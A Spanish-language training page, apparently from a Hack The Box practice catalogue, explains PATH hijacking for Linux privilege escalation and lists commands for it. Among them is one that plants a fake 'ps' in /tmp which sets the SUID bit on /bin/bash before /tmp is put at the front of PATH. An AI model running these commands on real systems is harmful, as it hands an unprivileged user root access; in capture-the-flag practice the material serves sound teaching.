Secuestro de PATH
Subtécnica de T1574 Secuestro del flujo de ejecución ↗
Poner delante en el PATH un programa tuyo con el nombre de un comando que un proceso privilegiado llama sin ruta absoluta.
Cómo aparece en Hack The Box
Ejecuta strings sobre el binario SUID o el script de sudo: si llama a tar, ps o curl sin /usr/bin/, crea uno en /tmp, añade /tmp al principio del PATH y ejecútalo.
Técnicas de nuestro catálogo que corresponden a esta (el número son sus máquinas):
Máquinas para practicarla
Ordenadas de más fácil a más difícil. El enlace ▶ te lleva al minuto del vídeo de IppSec donde se usa.
Guías
- Escalada en Linux: sudo, SUID y capabilities 4 min de lectura Las tres comprobaciones que más roots dan en Hack The Box: qué te deja ejecutar sudo, qué binarios son SUID y qué capabilities tienen, con los abusos típicos de cada caso.
- Escalada en Linux: tareas cron, PATH hijacking, wildcards y grupos docker o lxd 4 min de lectura Cuando sudo y SUID no dan nada: tareas cron con pspy, PATH hijacking, comodines en tar y rsync, y root desde los grupos docker, lxd, disk o adm.
Comandos
Sacados de nuestras chuletas y fichas de herramientas. Escribe tus datos y se rellenan en todos los comandos.
Escalada de privilegios en Linux › Explotación
Encontrar llamadas sin ruta
strings /usr/local/bin/binario | grep -vE '^/'
Suplantar el comando
echo -e '#!/bin/bash\nchmod u+s /bin/bash' > /tmp/ps
chmod +x /tmp/ps
export PATH=/tmp:$PATHNingún comando coincide.